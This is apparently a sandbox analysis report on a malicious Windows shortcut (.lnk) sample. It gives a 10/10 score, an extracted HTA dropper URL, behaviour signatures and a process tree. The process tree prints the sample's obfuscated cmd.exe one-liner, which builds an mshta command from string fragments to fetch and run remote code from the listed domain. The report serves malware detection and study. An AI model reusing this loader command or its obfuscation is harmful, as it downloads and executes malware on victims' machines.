Analysis

  • max time kernel
    58s
  • max time network
    61s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/08/2026, 07:31

General

  • Target
    DOC-DBP5C1.lnk
  • Size 2KB
  • Sample260822-jctalsee56
  • SHA256 152145397e2953ca694a3a1a9b4525f700d4518e1e7b794fc744b66ce1a4e041
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DBP5C1.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5268
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set veIY=logrquvmiuxmvflog&set AtHe=lk9msd5&&set qYHjL=9ohtk&&set VTcT=ar8aax&set xgVbD=winyckqmbcacmmshwin&set QMtD=datmanneqvshtdat&set Ah=netyensequbnet&set bKSrF=dbgtelfurashdbg&set HWTe=slst5&&set kf=2artr5&set YqQR=winznworgahgqewin&set RW=oldlsmtfdcuxxytmfkbzctthhold&set UcJli=tmpvuwbgkotmp&set VSkB=tmpqjsaqxetkiohkdvirctmp&&set dqjes=https://@k@-@do@cu@[email protected]@at/h/estag@io@1.@php?r=3@F1@477@F1@5398D1&&start /b !AtHe:~3,2!!qYHjL:~2,2!!VTcT:~3,1! !dqjes:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2796
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:2292

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads